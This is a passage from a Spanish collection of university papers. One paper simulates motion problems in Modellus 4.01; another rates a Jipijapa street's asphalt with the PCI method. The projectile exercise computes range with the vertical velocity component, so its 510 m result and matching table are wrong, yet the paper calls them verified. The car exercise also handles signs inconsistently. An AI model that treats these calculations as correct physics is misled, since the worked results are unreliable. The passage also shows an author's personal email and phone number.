REFERENCIAS BIBLIOGRÁFICAS

Aldás Castro , j. C. (2011). Diseño del alcantarillado sanitario y pluvial y tratamiento de aguas servidas de 4 lotizaciones unidas (varios propietarios), del cantón el Carmen. Quito: Pontifica Universidad Católica del Ecuador.

Alvarado Espejo, P. (2013). Estudios y diseños del sistema de agua potable del barrio San Vicente, parroquia Nambacola, cantón Gonzanamá. Loja.

EL USO DEL PROGRAMA MODELLUS 4.01, EN SIMULACIÓN DE LOS PROBLEMAS DE MOVIMIENTO.

Docente: Ing. Gery Lorenzo Marcillo Merino

Coautor: Ponce Regalado Douglas Stalin

Autor: Joffre Ricardo Rivera Sanchez

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Correo: ricardrive_23@live.com

Teléfono: 0986846349

RESUMEN

Este trabajo de investigación tiene como objetivo mostrar el modo de aplicar el software “Modellus 4.01” como mecanismo que permite expandir y sacar mayor provecho de resultados obtenidos en prácticas experimentales de movimientos físicos y dinámicos, en este caso sobre el estudio del movimiento rectilíneo uniforme, movimiento rectilíneo uniformemente variado, tiro parabólico, caída libre, entre otras aplicaciones. Es un software que puede estar sujeto en: estudiantes, profesores, profesionales; que ni si quiera tenga algún conocimiento en el manejo de sistemas informáticos ya que su interfaz es muy fácil de manejar, lo que se necesita es tener comprensión de las ecuaciones de movimiento para poder ingresar los datos e interpretar los resultados. Resolviendo así las inquietudes presentadas y generar nuevo conocimiento, es decir, desarrollar procesos de pensamientos en las personas por medio de la reflexión, el debate, el análisis, comparación y el planteamiento de posibles problemas físicos de la vida real.

Palabras Claves: Modellus, movimientos físicos y dinámicos, ecuaciones de movimiento.

Summary

This research work aims to show how to apply the software "Modellus 4.01" as a mechanism that allows to expand and take better advantage of results obtained in experimental physical and dynamic movements, in this case on the study of uniform rectilinear motion, rectilinear movement uniformly varied, parabolic shot, free fall, among other applications. It is a software that could be subject to: students, professors, professionals; not even have any knowledge in the management of computer systems because its interface is very easy to manage, what is needed is to have comprehension of the equations of movement to enter the data and interpret the results. Resolving the concerns presented and generating new knowledge, that is, developing thought processes in people through reflection, debate, analysis, comparison and the posing of possible physical problems of real life.

Keywords: Modellus, physical and dynamic movements, equations of movement.

INTRODUCCIÓN

Modellus es un programa informático creado específicamente para la enseñanza de la física, cuyo propósito es crear nuevas aplicaciones sin recurrir a conocimientos específicos de programación. Y Modellus 4.01 forma parte de las versiones recientes que son uso de los ordenadores que tiene sistemas operativos con versiones actualizadas.

El lenguaje oficial en el cual se desarrolla este software está en portugués “Introdução ao Modellus” o Introducción a Modellus, y se lo traduce en otros idiomas para que el usuario tenga mayor facilidad en el aprendizaje de la manipulación

Para la manipulación del programa Modellus, solo requiere mínimos conocimientos de operación de Windows, para llevar a cabo el funcionamiento de una simulación ya establecida, si se desea diseñar una nueva simulación se requiere de conocimientos sobre programación de modelos.

Según Cepeda (2016) el programa está elaborado para facilitar la solución al usuario de forma numérica del problema cuando se ha insertado las ecuaciones, que sin necesidad de resolver esas ecuaciones se puede dirigir la atención a otros planteamientos del problema, con las condiciones dadas.

El programa permite seleccionar cuales variables se van a graficar y a qué escala, donde cada gráfico permite visualizar una determinada ventana que se puede ampliar con el mouse o también permite ajustar al tamaño del recuadro que se desee para cubrir el rango del gráfico según el problema.

Las animaciones en Modellus permiten diseñar y construir animaciones con las siguientes herramientas:

- Objeto, Vector, Barra (formas de graficar variaciones por medio de una barra horizontal o vertical que se desliza dentro de un cuerpo)
- Puntero (indicador del tipo analógico semicirculares o del tipo reloj)
- Lápiz (forma didáctica para trazar los gráficos de una función permite graficar más de dos variables en distintas escalas para poder comparar o visualizar mejor)
- Valor (marca en la pantalla el valor instantáneo de una variable seleccionada)
- Imagen (mapa de bits)
- Texto, Fondo (fondo, colores o tramas).

Los gráficos y las tablas que se generan son muy didácticos y limitan su utilización, también se deba tomar en cuenta que los resultados obtenidos no se pueden vincular con otros utilitarios, lo que posee Modellus de forma útil son sus animaciones. Además, el programa puede adecuarse con distintos objetivos como mantener el elemento didáctico para hacer más accesible el modelo matemático de un proceso físico químico. (Teodoro, 1997)

La simulación del modelo está basada en las ecuaciones teóricas de cada ley y los ejercicios prácticos realizados en el aula de clases o en el laboratorio experimental dependiendo del contexto. Relacionando entre el experimento real y el experimento virtual para medir el grado de validez de la demostración experimental, todo esto es interesante en el trabajo del laboratorio en el aula, pues la comparación entre la teoría y la realidad es uno de los aspectos fundamentales del trabajo científico, y esta actividad influye en el aprendizaje de los estudiantes para realizar un trabajo correcto y rápido gracias a las herramientas tecnológicas. Como lo dijo Camacho (2012), en el reporte al diario comercio El 'Software' educativo en el Ecuador, *"La mayoría de nosotros nos resistimos a pensar en estas cajas llenas de misterios como herramientas que tienen la capacidad de ayudarnos en nuestras labores cotidianas..."*

MATERIALES Y MÉTODOS

Para entender la simulación de problemas dinámicos se desarrollarán dos ejercicios de diferentes tipos de movimientos en el programa Modellus 4.01. La investigación es de carácter analítico porque se realiza la observación del problema, la descripción del movimiento, el examen crítico del programa y se establecen los pasos para solucionar y graficar el problema dentro del programa.

Ejercicio 1.- Movimiento Rectilíneo Uniforme Variado

El coche A parte con una velocidad de 30 m/s y una desaceleración de 0.25 m/s^2 . El coche B parte a 1000 metros del coche A, con una velocidad de 17.5 m/s y una desaceleración de 0.30 m/s^2 , y ambos coches parten al mismo tiempo. Determinar en qué punto y la velocidad final en que se encuentran.

El primer ejercicio muestra la simulación de dos coches con la misma dirección y el sentido opuesto del coche A al coche B, para determinar el momento en que se encuentran y sus velocidades finales.

Ejercicio 2.- Movimiento Parabólico

Un Cañón dispara un proyectil a 100 m/s con ángulo de 30° . Calcule la altura máxima que alcanza el proyectil y la distancia que recorre.

El segundo ejercicio muestra un cañón que dispara un proyectil simulando un tiro parabólico para encontrar el tiempo de vuelo, la altura máxima que llega a alcanzar y la distancia que recorre.

Procedimiento

1. Se abre el programa Modellus 4.01
2. Se reconoce el ambiente de trabajo
3. Se ingresan las ecuaciones del modelo matemático a desarrollar
4. Se fija el o los objetos a utilizar como simulación
5. Se establecen las variables que son independientes y dependientes
6. Se ejecuta para obtener el gráfico y la tabla de resultados.

Resultados y discusión

Una vez ingresados los datos necesarios de cada ejercicio en el programa se da clic en el reproductor para ejecutar el programa y poder obtener los siguientes resultados.

Ejercicio 1.- Movimiento Rectilíneo Uniforme Variado

Obteniéndose del programa la siguiente tabla y su gráfica.

t	xfx	xfy	vfx	vfy
0	0	1000	30	17.5
0.1	3	998.25	29.98	17.47

0.2	6	996.49	29.95	17.44
0.3	8.99	994.74	29.92	17.41
0.4	11.98	992.98	29.9	17.38
0.5	14.97	991.21	29.88	17.35
0.6	17.96	989.45	29.85	17.32
0.7	20.94	987.68	29.82	17.29
0.8	23.92	985.9	29.8	17.26
0.9	26.9	984.13	29.78	17.23
1	29.88	982.35	29.75	17.2
1.1	32.85	980.57	29.72	17.17
1.2	35.82	978.78	29.7	17.14
1.3	38.79	977	29.68	17.11
1.4	41.76	975.21	29.65	17.08
1.5	44.72	973.41	29.62	17.05
1.6	47.68	971.61	29.6	17.02
1.7	50.64	969.82	29.58	16.99
1.8	53.6	968.01	29.55	16.96
1.9	56.55	966.21	29.52	16.93
2	59.5	964.4	29.5	16.9
2.1	62.45	962.59	29.48	16.87
2.2	65.4	960.77	29.45	16.84
2.3	68.34	958.95	29.42	16.81
2.4	71.28	957.13	29.4	16.78
2.5	74.22	955.31	29.38	16.75
2.6	77.16	953.48	29.35	16.72
2.7	80.09	951.65	29.32	16.69
2.8	83.02	949.82	29.3	16.66
2.9	85.95	947.98	29.28	16.63
3	88.88	946.15	29.25	16.6
3.1	91.8	944.3	29.22	16.57

3.2	94.72	942.46	29.2	16.54
3.3	97.64	940.61	29.18	16.51
3.4	100.56	938.76	29.15	16.48
3.5	103.47	936.91	29.12	16.45
3.6	106.38	935.05	29.1	16.42
3.7	109.29	933.19	29.08	16.39
3.8	112.2	931.33	29.05	16.36
3.9	115.1	929.46	29.02	16.33
4	118	927.59	29	16.3
4.1	120.9	925.72	28.98	16.27
4.2	123.8	923.85	28.95	16.24
4.3	126.69	921.97	28.92	16.21
4.4	129.58	920.09	28.9	16.18
4.5	132.47	918.2	28.88	16.15
4.6	135.36	916.32	28.85	16.12
4.7	138.24	914.43	28.82	16.09
4.8	141.12	912.53	28.8	16.06
4.9	144	910.64	28.78	16.03
5	146.88	908.74	28.75	16
5.1	149.75	906.84	28.72	15.97
5.2	152.62	904.93	28.7	15.94
5.3	155.49	903.02	28.68	15.91
5.4	158.36	901.11	28.65	15.88
5.5	161.22	899.2	28.62	15.85
5.6	164.08	897.28	28.6	15.82
5.7	166.94	895.36	28.58	15.79
5.8	169.8	893.44	28.55	15.76
5.9	172.65	891.51	28.52	15.73
6	175.5	889.58	28.5	15.7
6.1	178.35	887.65	28.48	15.67

6.2	181.2	885.71	28.45	15.64
6.3	184.04	883.78	28.42	15.61
6.4	186.88	881.84	28.4	15.58
6.5	189.72	879.89	28.38	15.55
6.6	192.56	877.94	28.35	15.52
6.7	195.39	875.99	28.32	15.49
6.8	198.22	874.04	28.3	15.46
6.9	201.05	872.08	28.28	15.43
7	203.88	870.13	28.25	15.4
7.1	206.7	868.16	28.22	15.37
7.2	209.52	866.2	28.2	15.34
7.3	212.34	864.23	28.18	15.31
7.4	215.16	862.26	28.15	15.28
7.5	217.97	860.28	28.12	15.25
7.6	220.78	858.31	28.1	15.22
7.7	223.59	856.33	28.08	15.19
7.8	226.4	854.34	28.05	15.16
7.9	229.2	852.36	28.02	15.13
8	232	850.37	28	15.1
8.1	234.8	848.38	27.98	15.07
8.2	237.6	846.38	27.95	15.04
8.3	240.39	844.38	27.92	15.01
8.4	243.18	842.38	27.9	14.98
8.5	245.97	840.38	27.88	14.95
8.6	248.76	838.37	27.85	14.92
8.7	251.54	836.36	27.82	14.89
8.8	254.32	834.35	27.8	14.86
8.9	257.1	832.33	27.78	14.83
9	259.88	830.31	27.75	14.8
9.1	262.65	828.29	27.72	14.77

9.2	265.42	826.26	27.7	14.74
9.3	268.19	824.23	27.68	14.71
9.4	270.96	822.2	27.65	14.68
9.5	273.72	820.17	27.62	14.65
9.6	276.48	818.13	27.6	14.62
9.7	279.24	816.09	27.58	14.59
9.8	282	814.05	27.55	14.56
9.9	284.75	812	27.52	14.53
10	287.5	809.95	27.5	14.5
10.1	290.25	807.9	27.48	14.47
10.2	293	805.84	27.45	14.44
10.3	295.74	803.78	27.42	14.41
10.4	298.48	801.72	27.4	14.38
10.5	301.22	799.66	27.38	14.35
10.6	303.96	797.59	27.35	14.32
10.7	306.69	795.52	27.32	14.29
10.8	309.42	793.45	27.3	14.26
10.9	312.15	791.37	27.28	14.23
11	314.88	789.29	27.25	14.2
11.1	317.6	787.21	27.22	14.17
11.2	320.32	785.12	27.2	14.14
11.3	323.04	783.03	27.18	14.11
11.4	325.76	780.94	27.15	14.08
11.5	328.47	778.85	27.12	14.05
11.6	331.18	776.75	27.1	14.02
11.7	333.89	774.65	27.08	13.99
11.8	336.6	772.54	27.05	13.96
11.9	339.3	770.44	27.02	13.93
12	342	768.33	27	13.9
12.1	344.7	766.22	26.98	13.87

12.2	347.4	764.1	26.95	13.84
12.3	350.09	761.98	26.92	13.81
12.4	352.78	759.86	26.9	13.78
12.5	355.47	757.73	26.88	13.75
12.6	358.16	755.61	26.85	13.72
12.7	360.84	753.48	26.82	13.69
12.8	363.52	751.34	26.8	13.66
12.9	366.2	749.21	26.78	13.63
13	368.88	747.07	26.75	13.6
13.1	371.55	744.92	26.72	13.57
13.2	374.22	742.78	26.7	13.54
13.3	376.89	740.63	26.68	13.51
13.4	379.56	738.48	26.65	13.48
13.5	382.22	736.32	26.62	13.45
13.6	384.88	734.16	26.6	13.42
13.7	387.54	732	26.58	13.39
13.8	390.2	729.84	26.55	13.36
13.9	392.85	727.67	26.52	13.33
14	395.5	725.5	26.5	13.3
14.1	398.15	723.33	26.48	13.27
14.2	400.8	721.15	26.45	13.24
14.3	403.44	718.97	26.42	13.21
14.4	406.08	716.79	26.4	13.18
14.5	408.72	714.61	26.38	13.15
14.6	411.36	712.42	26.35	13.12
14.7	413.99	710.23	26.32	13.09
14.8	416.62	708.03	26.3	13.06
14.9	419.25	705.84	26.28	13.03
15	421.88	703.64	26.25	13
15.1	424.5	701.43	26.22	12.97

15.2	427.12	699.23	26.2	12.94
15.3	429.74	697.02	26.18	12.91
15.4	432.36	694.81	26.15	12.88
15.5	434.97	692.59	26.12	12.85
15.6	437.58	690.37	26.1	12.82
15.7	440.19	688.15	26.08	12.79
15.8	442.8	685.93	26.05	12.76
15.9	445.4	683.7	26.02	12.73
16	448	681.47	26	12.7
16.1	450.6	679.24	25.98	12.67
16.2	453.2	677	25.95	12.64
16.3	455.79	674.76	25.92	12.61
16.4	458.38	672.52	25.9	12.58
16.5	460.97	670.28	25.88	12.55
16.6	463.56	668.03	25.85	12.52
16.7	466.14	665.78	25.82	12.49
16.8	468.72	663.52	25.8	12.46
16.9	471.3	661.27	25.78	12.43
17	473.88	659.01	25.75	12.4
17.1	476.45	656.74	25.72	12.37
17.2	479.02	654.48	25.7	12.34
17.3	481.59	652.21	25.68	12.31
17.4	484.16	649.93	25.65	12.28
17.5	486.72	647.66	25.62	12.25
17.6	489.28	645.38	25.6	12.22
17.7	491.84	643.1	25.58	12.19
17.8	494.4	640.82	25.55	12.16
17.9	496.95	638.53	25.52	12.13
18	499.5	636.24	25.5	12.1
18.1	502.05	633.94	25.48	12.07

18.2	504.6	631.65	25.45	12.04
18.3	507.14	629.35	25.42	12.01
18.4	509.68	627.05	25.4	11.98
18.5	512.22	624.74	25.38	11.95
18.6	514.76	622.43	25.35	11.92
18.7	517.29	620.12	25.32	11.89
18.8	519.82	617.81	25.3	11.86
18.9	522.35	615.49	25.28	11.83
19	524.88	613.17	25.25	11.8
19.1	527.4	610.85	25.22	11.77
19.2	529.92	608.52	25.2	11.74
19.3	532.44	606.19	25.18	11.71
19.4	534.96	603.86	25.15	11.68
19.5	537.47	601.52	25.12	11.65
19.6	539.98	599.18	25.1	11.62
19.7	542.49	596.84	25.08	11.59
19.8	545	594.5	25.05	11.56
19.9	547.5	592.15	25.02	11.53
20	550	589.8	25	11.5
20.1	552.5	587.45	24.98	11.47
20.2	555	585.09	24.95	11.44
20.3	557.49	582.73	24.92	11.41
20.4	559.98	580.37	24.9	11.38
20.5	562.47	578	24.88	11.35
20.6	564.96	575.63	24.85	11.32
20.7	567.44	573.26	24.82	11.29
20.8	569.92	570.89	24.8	11.26

Entonces resulta que, según el programa en **20.80s** ambos coches se encontraran en el mismo lugar. El coche A tendrá un desplazamiento final de **569.92 m** y una velocidad de **24.8 m/s**, por el contrario, el coche B llegará a **570, 89 m** con una velocidad de **11.26 m/s**.

Comprobación de los Resultados

Para corroborar los resultados del programa se realizará el ejercicio manualmente.

Se comienza hallando el tiempo en se van encontrar ambos coches, se dice entonces que el desplazamiento final del coche A (X_{fA}) será igual que al desplazamiento final el coche B (X_{fB}).

$$X_{fA} = X_{oA} + V_{oA} * t + \frac{1}{2} * a * t^2 ; X_{oA} = 0 \quad X_{fB} = X_{oB} + V_{oB} * t + \frac{1}{2} * a * t^2 ; X_{oB} = 1000$$

$$X_{fA} = V_{oA} * t + \frac{1}{2} * a * t^2$$

$$X_{fA} = X_{fB}$$

$$V_{oA} * t + \frac{1}{2} * a * t^2 = X_{oB} + V_{oB} * t + \frac{1}{2} * a * t^2$$

$$30 * t + \frac{1}{2} * (-0.25) * t^2 = 1000 + (-17.5) * t + \frac{1}{2} * (-0.30) * t^2$$

$$30 * t - 0.125 * t^2 = 1000 - 17.5 * t - 0.15 * t^2$$

$$- 0.125 * t^2 + 0.15 * t^2 + 30 * t + 17.5 * t - 1000 = 0$$

$$0.025 * t^2 + 47.5 * t - 1000 = 0$$

$$t = \mathbf{20.82 \text{ seg}}$$

Coche A

$$X_{fA} = 30 \cdot 20.82 + \frac{1}{2} \cdot (-0.25) \cdot (20.82)^2$$

$$X_{fA} = 624.6 - 54.18 = \mathbf{570.42 \text{ m}}$$

$$V_{fa} = V_{oa} + a \cdot t = 30 + (-0.25) (20.82)$$

$$V_{fa} = 30 - 5.22 = \mathbf{24.79 \text{ m/s}}$$

Coche B

$$X_{fB} = 1000 + (-17.5) \cdot 20.82 + \frac{1}{2} \cdot (-0.30) \cdot (20.82)^2$$

$$X_{fB} = 1000 - 364.35 - 65.02 = \mathbf{570.63 \text{ m}}$$

$$V_{fb} = V_{ob} + a \cdot t = 17.5 + (-0.30) (20.82)$$

$$V_{fb} = 17.5 - 6.25 = \mathbf{11.25 \text{ m/s}}$$

	Resultados de Modellus	Resultados Reales
Tiempo (t)	20.80	20.82
X_{Fa} (m)	569.92	570.42
X_{fB} (m)	570.89	570.63
V_{fA} (m/s)	24.8	24.79
V_{fB} (m/s)	11.26	11.25

Como se puede observar el tiempo no es el mismo porque el programa Modellus tiene un rango mínimo de 0.10 décimas entre cada intervalo, perdiendo precisión en los cálculos. Y eso hace que los demás valores obtenidos hayan variado con el valor real, aunque la diferencia sea mínima los resultados no son los correctos.

Ejercicio 2.- Movimiento Parabólico.

Obteniéndose del programa la siguiente tabla y su gráfica.

t	vox	y	x	tb
0	86.6	0	0	10.2
0.1	86.6	4.95	5	10.2
0.2	86.6	9.8	10	10.2
0.3	86.6	14.56	15	10.2
0.4	86.6	19.22	20	10.2
0.5	86.6	23.77	25	10.2

0.6	86.6	28.24	30	10.2
0.7	86.6	32.6	35	10.2
0.8	86.6	36.86	40	10.2
0.9	86.6	41.03	45	10.2
1	86.6	45.1	50	10.2
1.1	86.6	49.07	55	10.2
1.2	86.6	52.94	60	10.2
1.3	86.6	56.72	65	10.2
1.4	86.6	60.4	70	10.2
1.5	86.6	63.97	75	10.2
1.6	86.6	67.46	80	10.2
1.7	86.6	70.84	85	10.2
1.8	86.6	74.12	90	10.2
1.9	86.6	77.31	95	10.2
2	86.6	80.4	100	10.2
2.1	86.6	83.39	105	10.2
2.2	86.6	86.28	110	10.2
2.3	86.6	89.08	115	10.2
2.4	86.6	91.78	120	10.2
2.5	86.6	94.37	125	10.2
2.6	86.6	96.88	130	10.2
2.7	86.6	99.28	135	10.2
2.8	86.6	101.58	140	10.2
2.9	86.6	103.79	145	10.2
3	86.6	105.9	150	10.2
3.1	86.6	107.91	155	10.2
3.2	86.6	109.82	160	10.2
3.3	86.6	111.64	165	10.2
3.4	86.6	113.36	170	10.2
3.5	86.6	114.97	175	10.2

3.6	86.6	116.5	180	10.2
3.7	86.6	117.92	185	10.2
3.8	86.6	119.24	190	10.2
3.9	86.6	120.47	195	10.2
4	86.6	121.6	200	10.2
4.1	86.6	122.63	205	10.2
4.2	86.6	123.56	210	10.2
4.3	86.6	124.4	215	10.2
4.4	86.6	125.14	220	10.2
4.5	86.6	125.77	225	10.2
4.6	86.6	126.32	230	10.2
4.7	86.6	126.76	235	10.2
4.8	86.6	127.1	240	10.2
4.9	86.6	127.35	245	10.2
5	86.6	127.5	250	10.2
5.1	86.6	127.55	255	10.2
5.2	86.6	127.5	260	10.2
5.3	86.6	127.36	265	10.2
5.4	86.6	127.12	270	10.2
5.5	86.6	126.77	275	10.2
5.6	86.6	126.34	280	10.2
5.7	86.6	125.8	285	10.2
5.8	86.6	125.16	290	10.2
5.9	86.6	124.43	295	10.2
6	86.6	123.6	300	10.2
6.1	86.6	122.67	305	10.2
6.2	86.6	121.64	310	10.2
6.3	86.6	120.52	315	10.2
6.4	86.6	119.3	320	10.2
6.5	86.6	117.97	325	10.2

6.6	86.6	116.56	330	10.2
6.7	86.6	115.04	335	10.2
6.8	86.6	113.42	340	10.2
6.9	86.6	111.71	345	10.2
7	86.6	109.9	350	10.2
7.1	86.6	107.99	355	10.2
7.2	86.6	105.98	360	10.2
7.3	86.6	103.88	365	10.2
7.4	86.6	101.68	370	10.2
7.5	86.6	99.37	375	10.2
7.6	86.6	96.98	380	10.2
7.7	86.6	94.48	385	10.2
7.8	86.6	91.88	390	10.2
7.9	86.6	89.19	395	10.2
8	86.6	86.4	400	10.2
8.1	86.6	83.51	405	10.2
8.2	86.6	80.52	410	10.2
8.3	86.6	77.44	415	10.2
8.4	86.6	74.26	420	10.2
8.5	86.6	70.97	425	10.2
8.6	86.6	67.6	430	10.2
8.7	86.6	64.12	435	10.2
8.8	86.6	60.54	440	10.2
8.9	86.6	56.87	445	10.2
9	86.6	53.1	450	10.2
9.1	86.6	49.23	455	10.2
9.2	86.6	45.26	460	10.2
9.3	86.6	41.2	465	10.2
9.4	86.6	37.04	470	10.2
9.5	86.6	32.77	475	10.2

9.6	86.6	28.42	480	10.2
9.7	86.6	23.96	485	10.2
9.8	86.6	19.4	490	10.2
9.9	86.6	14.75	495	10.2
10	86.6	10	500	10.2
10.1	86.6	5.15	505	10.2
10.2	86.6	0.2	510	10.2

De manera que, el tiempo total que recorre el proyectil es de 10.20s, la altura máxima que llega a alcanzar fue de 127.52m y el desplazamiento total fue de 510m.

Comprobación de Resultados

Para corroborar los resultados del programa se realizará el ejercicio manualmente.

Formulas a utilizar

$$t = 2 * \frac{Vo * \text{sen}\theta}{g}$$

$$y_{\max} = \frac{Vo^2 * \text{sen}^2\theta}{2g}$$

$$x = Voy * t$$

Datos:

$$t = 2 * \frac{Vo * \text{sen}\theta}{g} = 2 * \frac{100 * \text{sen}30^\circ}{9.8} = 10.20$$

$$Vo = 100 \text{ m/s}$$

$$\theta = 30^\circ$$

$$y_{\max} = \frac{Vo^2 * \text{sen}^2\theta}{2g} = \frac{100^2 * \text{sen}^230^\circ}{2(9.8)} = 127.55$$

$$g = 9.8 \frac{m}{s^2}$$

$$Voy = Vo * \text{sen}(30^\circ) = 50 \rightarrow x = 50 * 10.20 = 510m$$

	Resultados de Modellus	Resultados Reales
Tiempo (t)	10.20	10.20
Y max (m)	127.52	127.55
Xf (m)	510	510

En contraste al ejercicio anterior, en este caso el tiempo obtenido en Modellus está dentro su rango, validando los demás valores. Por lo tanto, sus resultados concuerdan con los resultados comprobados.

CONCLUSIONES

El software Modellus 4.01, es una buena herramienta informática, que aporta al conocimiento cognitivo en la materia de dinámica, especialmente para entender en un campo virtual los enunciados de las tres leyes de Newton

El aprendizaje de mejor resultado se refleja en los estudiantes que tienen un pensamiento y razonamiento avanzado conseguido desde los centros educativos a nivel de bachiller, y que utilizan en sus procesos pedagógicos este medio.

La tecnología en el estudio especialmente en materias exactas, es importante en la veracidad del conocimiento porque permite corroborar los diferentes resultados de los ejercicios practicados en salón de clase. Sin embargo, algunos softwares tienen desventajas al tener limitaciones en sus rangos ya que no toman en cuenta ciertas décimas.

Las reformas a los programas de estudio, trabajados desde este tipo de entornos, sobre todo esta materia que relaciona el comportamiento de la naturaleza y por ende la materia como estado, mantiene su dinámica en función del tiempo.

REFERENCIAS BIBLIOGRÀFICAS

BEER, F., CORNWELL , P., & RUSSELL , J. (2010). *MECÁNICA VECTORIAL PARA INGENIEROS* . México: Mc Graw Hill.

Camacho, J. (14 de 03 de 2012). *El Comercio. El 'software' educativo en el Ecuador* . Obtenido de http://educacion.elcomercio.com/noticiaEC.asp?id_noticia=311345&id_seccion=160

Cepeda, L. M. (2016). tesis previa a la obtención del grado de magíster en ciencias de la educación mención aprendizaje de la física. *el laboratorio virtual mediante el simulador modellus 4.01 y su incidencia en el aprendizaje del bloque curricular dinámica traslacional aplicado a los estudiantes del primer año de bachillerato*. Riobamba, Ecuador: UNIVERSIDAD NACIONAL DE CHIMBORAZO VICERRECTORADO DE POSGRADO E INVESTIGACIÓN INSTITUTO DE POSGRADO. Obtenido de <http://dspace.unach.edu.ec/bitstream/51000/3366/1/UNACH-%20EC-IPG-CED-FIS-2017-0002.pdf>

Teodoro, V. (1997). *Modellus: Using a Computacional Tool to change the Teaching and learning of Mathematics and science*. U. Colloquium., Ed.

Tipler, P. A., & Mosca. (2010). *Física para la ciencia y la tecnología*. Barcelona: Reverté, S.A.

EVALUACIÓN DE LA CONDICIÓN DEL PAVIMENTO FLEXIBLE DE LA CALLE BOLIVAR ENTRE VILLAMIL Y ANTEPARA- DE JIPIJAPA

Arq. Fienco Sánchez Betsy Elizabeth

Lara López Marcos Alexi

Pincay Macías Roger Alejandro

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

OBJETIVO

Aplicar el método del PCI en el pavimento flexible de la calle Bolívar entre Villamil y Antepara, para determinar las patologías y su índice de condición.

INTRODUCCIÓN

La necesidad de mejorar el estado en que se encuentran los pavimentos flexibles en las ciudades urbanas es una preocupación que afecta a todos los ciudadanos en general. La realidad que se vive en la ciudad de Jipijapa es alarmante, pues es imposible tener un viaje seguro y placentero, debido a las innumerables fallas presentes en el pavimento, que lo van deteriorando poco a poco y disminuyendo su serviciabilidad. Para realizar la evaluación de los pavimentos en mala condición se utiliza el “Procedimiento estándar para la inspección del índice de condición del pavimento en caminos y estacionamientos” (ASTM D6433-03), también conocido como el “Método PCI”; que por medio de inspecciones visuales determina el estado en que se encuentra una vía, dependiendo del tipo, cantidad y severidad de las fallas presentes. En la actualidad, debido a la mala calidad de los pavimentos la calle Bolívar entre Villamil y Antepara del Cantón Jipijapa, presenta fallas como: fisuras, hundimientos, piel de cocodrilo, segregación, hinchamiento, entre otros, provocando circulación incomoda vehicular y peatonalmente. En este proyecto se aplica el método PCI, el cual permite calificar al pavimento flexible (asfáltico) en un rango de valores que van de 0 a 100, mediante una inspección visual, obteniendo: el tipo de daños, identificación, cuantificación y evaluación del nivel de incidencia sobre el pavimento.

MATERIALES Y MÉTODOS

Estudio visual aplicando el método estándar para la inspección del índice de condición del pavimento flexible "ASTM D6433-03" denominado también "MÉTODO PCI" de la calle Bolívar entre Villamil y Antepara de la ciudad de Jipijapa.

MUESTRAS

Se dividió la zona de estudio en tres tramos teniendo en cuenta el ancho de la calzada se estableció un avisado cada 30 metros, utilizando las fórmulas establecidas por el ASTM

D6433-03, se determinó número de unidades de muestras y la cantidades de muestras a ser evaluada por cada tramo.

INSTRUMENTOS

Niveles de Severidad:

Bajo (B): se perciben vibraciones en el vehículo, 2. Medio (M): las vibraciones del vehículo son significativas y se requiere una reducción de la velocidad en aras de la comodidad y la seguridad , 3. Alto (A): las vibraciones en el vehículo son tan excesivas que debe reducirse la velocidad de forma considerable en aras de la comodidad y la seguridad.

FALLA N°	TIPO - NOMBRE	UNIDAD
1	GRIETA PIEL DE COCODRILO	m ²
2	EXUDACIÓN DE ASFALTO	m ²
3	GRIETAS DE CONTRACCIÓN (BLOQUE)	m ²
4	ELEVACIONES-HUNDIMIENTO	m
5	CORRUGACIONES	m ²
6	DEPRESIONES	m ²
7	GRIETAS DE BORDE	m
8	GRIETAS DE REFLEXIÓN DE JUNTAS	m
9	DESNIVEL CALZADA-HOMBRILLO	m
10	GRIETAS LONGITUDINALES Y TRANSVERSALES	m
11	BACHES Y ZANJAS REPARADAS	m ²
12	AGREGADOS PULIDOS	m ²
13	HUECOS	Nº
14	CRUECE DE RIELES ^(*)	m ²
15	AHUELLAMIENTO	m ²
16	DEFORMACIÓN POR EMPUJE	m ²
17	GRIETAS DESLIZAMIENTO	m ²
18	HINCHAMIENTO	m ²
19	DISGREGACIÓN Y DESINTEGRACIÓN	m ²

(*): Reemplazar por acceso a Puentes, Pontones y Rejillas de Drenaje

fuentes: MÉTODO DE EVALUACIÓN DE PAVIMENTOS PCI (Pavement Condition Index).
Cuerpo de Ingenieros de la Armada de E.U.A. Reporte Técnico M-268 (1978) M.Y. Shahin y
S.D Khon. Versión en Español por: ING. AUGUSTO JUGO B. Caracas 1987

100	EXCELENTE
85	
70	MUY BUENO
55	BUENO
40	REGULAR
25	MALO
10	MUY MALO
0	FALLADO

Índice del PCI

Ficha establecida por el ASTM D6433-03, para la evaluación visual de Pavimento Flexible (ASFÁLTICO)

[illegible]

Encuestas:

Se realizaron encuestas a la comunidad del sector, que identifico la afectación y frecuencia provocada por las patologías del pavimento flexible.

2. RESULTADOS Y DISCUSIÓN

Las fallas que se encontraron en la calle Bolívar entre Villamil y Antepara fueron: Piel de Cocodrilo, Ahuellamiento, Parcheo, Huecos, Disgregación y Desintegración de los agregados.

Piel de Cocodrilo

Nivel de severidad: A

Parcheo

Nivel de severidad: M

Huecos

Nivel de severidad: A

Ahuellamiento

Nivel de severidad: A

Disgregación y Desintegración De Agregados

Nivel de severidad: M

RANGOS DE CALIFICACION DEL PCI	
Rango	Clasificación
100 – 85	Excelente
85 – 70	Muy Bueno
70 – 55	Bueno
55 – 40	Regular
40 – 25	Malo
25 – 10	Muy Malo
10 – 0	Fallado

Al analizar la encuesta realizada, un 80% de la población que habita en la calle Bolívar entre Villamil y Antepara opino que el deterioro de las vías afecta de manera evidente al desarrollo de una ciudad mientras que un 20 % cree lo contrario.

CONCLUSIONES.

- Las fallas encontradas en la calle Bolívar entre Villamil y Antepara en la ciudad de Jipijapa determinaron que el pavimento flexible en el primer tramo de la vía evaluada por el método PCI se determinó como pavimento fallado, el segundo tramo se consideró malo y el tercer tramo de la calle es considerado bueno.
- Existen soluciones para las fallas que existen en el pavimento como piel de cocodrilo, grietas de borde, corrugaciones desmoronamiento, entre otras, en el cual se pueden hacer reparaciones, para prevenir que esto deteriore más al pavimento flexible, utilizando sellos de arena, relleno de grietas con asfalto, asfalto líquido con arena, emulsión asfálticas SS.1H y SS.HK, entre otras soluciones que podemos utilizar para reparar el pavimento.

REFERENCIAS BIBLIOGRÁFICAS

ASTM D6433-03. (s.f.). American Society for Testing Materials ASTM D6433; Standard Practice for.

Ing. Augusto Jugo B. (2005). MANUAL DE MANTENIMIENTO Y REHABILITACION DE PAVIMENTOS.

Ing. Augusto Jugo. (2010). Dirección de Mantenimiento de la Dirección General de Vialidad del Ministerio de Obras Públicas de Ecuador.

